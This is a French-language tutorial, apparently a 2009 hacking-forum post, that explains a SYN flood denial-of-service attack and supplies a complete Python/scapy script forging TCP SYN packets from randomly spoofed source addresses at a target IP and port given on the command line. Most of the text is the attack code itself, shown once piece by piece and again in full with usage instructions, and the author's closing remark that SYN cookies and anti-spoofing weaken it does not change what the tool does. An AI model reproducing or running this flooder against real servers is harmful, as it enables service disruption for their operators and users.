Tentative de déni de service par Syn Flood

Syn Flood
Principe : Envoyer massivement des paquets SYN pour remplir la liste d'attente du serveur et empecher de nouveaux client de se connecter. Peut avoir des effet plus dévastateur sur les serveurs les moins sécurisés.
#-*-coding:Utf-8-*-
from random import randint
from scapy.all import *
import sys
def Generator(nb): #Création d'une série d'IP factices
listeIP = []
for i in range(int(nb)):
listeIP.append(str(randint(1,255)) + '.' + str(randint(1,255)) + '.' + str(randint(1,255)) + '.' + str(randint(1,255)))
return listeIP
Cette fonction permet de génerer une liste de nb ip aléatoires que nous allons spoofer. Bien entendu, ce processus est rudimentaire, et sera détruit facilement par les anti spoofers, via TTL par exemple.
Etudions le main a présent:
if __name__ == '__main__':
if len(sys.argv) < 4:
print 'Syntaxe : !/.py Ip_Cible ports nombre_de_paquets\nExemple : !/.py 127.0.0.1 80 1000'
exit(0)
target = sys.argv[1] #On récupere les paramètres
port = int(sys.argv[2])
nbPaquet = int(sys.argv[3])
print '--- Début de l\'attaque'
for ip in Generator(nbPaquet): #On génere les IP
send(IP(dst = target, src = ip)/TCP(dport = port,sport = randint(1,65535),flags = 'S')) #On forge les paquets sur la couche IP(ip source/dst) et sur TCP(ports sources/dst + flags
print '--- Fin de l\'attaque'
Ainsi, on forge des paquets sur les couches IP et TCP en indiquant respectivement les IP sources et destinations et les ports sources et destinations. On n'oublie pas le flag SYN evidemment !
Le code final est donc :
#-*-coding:Utf-8-*-
#--------------------------------------------
# Syn Flooder
# Réalisé par iZy TeH PariaH
# 21 aout 2009
# Pour python 2.6, ubuntu
#--------------------------------------------
from random import randint
from scapy.all import *
import sys
def Generator(nbPaquets): #Création d'une série d'IP factices
listeIP = []
for i in range(int(nbPaquets)):
listeIP.append(str(randint(1,255)) + '.' + str(randint(1,255)) + '.' + str(randint(1,255)) + '.' + str(randint(1,255)))
return listeIP
if __name__ == '__main__':
if len(sys.argv) < 4:
print 'Syntaxe : !/.py Ip_Cible ports nombre_de_paquets\nExemple : !/.py 127.0.0.1 80 1000'
exit(0)
target = sys.argv[1]
port = int(sys.argv[2])
nbPaquet = int(sys.argv[3])
print '--- Début de l\'attaque'
for ip in Generator(nbPaquet):
send(IP(dst = target, src = ip)/TCP(dport = port,sport = randint(1,65535),flags = 'S'))
print '--- Fin de l\'attaque'
Un petit script facile a utiliser pour commencer. Les scripts suivants seront plus interessants
PS : Inutile d'exprimer votre joie, ce type de Deni de service fonctionne plus difficilement a cause des systemes de sécurité, notamment les anti-spoofeurs (par exemple : TTL, cf google) ou les synCookies (cf, wikipedia). C'est pas grave, c'est de la culture !